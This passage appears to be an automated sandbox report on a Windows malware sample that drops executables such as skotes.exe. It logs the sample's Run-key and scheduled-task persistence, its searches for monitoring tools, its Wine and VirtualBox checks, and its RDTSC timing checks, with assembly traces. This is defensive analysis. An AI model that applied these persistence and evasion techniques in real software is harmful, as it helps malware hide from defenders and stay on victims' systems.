Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d7c50276ff.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7d61336cf8.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run aae25c676b.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run aae25c676b.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run aae25c676b.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7d61336cf8.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7d61336cf8.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d7c50276ff.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d7c50276ff.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00F7F98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		12_2_00F7F98E
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00FF1C41 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		12_2_00FF1C41

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found API chain indicative of sandbox detection

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

graph_12-97016

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D4537 second address: 9D454E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F08C0CB452Fh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D454E second address: 9D3E5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F08C0C91958h 0x0000000f pop edx 0x00000010 nop 0x00000011 or dword ptr [ebp+122D2009h], ecx 0x00000017 push dword ptr [ebp+122D126Dh] 0x0000001d jmp 00007F08C0C9195Bh 0x00000022 call dword ptr [ebp+122D1FFEh] 0x00000028 pushad 0x00000029 jne 00007F08C0C91957h 0x0000002f xor eax, eax 0x00000031 jnl 00007F08C0C91957h 0x00000037 mov edx, dword ptr [esp+28h] 0x0000003b jno 00007F08C0C9195Ch 0x00000041 jmp 00007F08C0C91969h 0x00000046 mov dword ptr [ebp+122D2EB9h], eax 0x0000004c pushad 0x0000004d sub dword ptr [ebp+122D33CBh], esi 0x00000053 add esi, dword ptr [ebp+122D2DB1h] 0x00000059 popad 0x0000005a mov esi, 0000003Ch 0x0000005f pushad 0x00000060 xor di, F3D0h 0x00000065 xor dword ptr [ebp+122D1C3Dh], edx 0x0000006b popad 0x0000006c add esi, dword ptr [esp+24h] 0x00000070 sub dword ptr [ebp+122D1C52h], edx 0x00000076 lodsw 0x00000078 jmp 00007F08C0C91965h 0x0000007d add eax, dword ptr [esp+24h] 0x00000081 jnp 00007F08C0C91957h 0x00000087 mov ebx, dword ptr [esp+24h] 0x0000008b jmp 00007F08C0C9195Fh 0x00000090 nop 0x00000091 pushad 0x00000092 push eax 0x00000093 jno 00007F08C0C91956h 0x00000099 pop eax 0x0000009a push eax 0x0000009b push edx 0x0000009c jbe 00007F08C0C91956h 0x000000a2 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D3E5D second address: 9D3E71 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F08C0CB4526h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edx 0x00000010 pop edx 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3B3FE second address: B3B404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3B404 second address: B3B411 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3B411 second address: B3B415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3B415 second address: B3B419 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3B419 second address: B3B430 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007F08C0C9195Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3B832 second address: B3B85F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F08C0CB4538h 0x00000009 jmp 00007F08C0CB452Ch 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3B85F second address: B3B863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3B863 second address: B3B867 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3B867 second address: B3B895 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a pushad 0x0000000b jmp 00007F08C0C9195Ch 0x00000010 jno 00007F08C0C91956h 0x00000016 jmp 00007F08C0C9195Ah 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e push edi 0x0000001f pop edi 0x00000020 push edx 0x00000021 pop edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3B895 second address: B3B89F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3B89F second address: B3B8A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3B8A5 second address: B3B8A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3B8A9 second address: B3B8AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E0E3 second address: B3E0E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E0E9 second address: B3E114 instructions: 0x00000000 rdtsc 0x00000002 je 00007F08C0C91956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jbe 00007F08C0C9196Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E114 second address: B3E11A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E11A second address: B3E134 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F08C0C91956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 jnc 00007F08C0C91958h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E134 second address: B3E14A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c jo 00007F08C0CB4534h 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E14A second address: B3E14E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
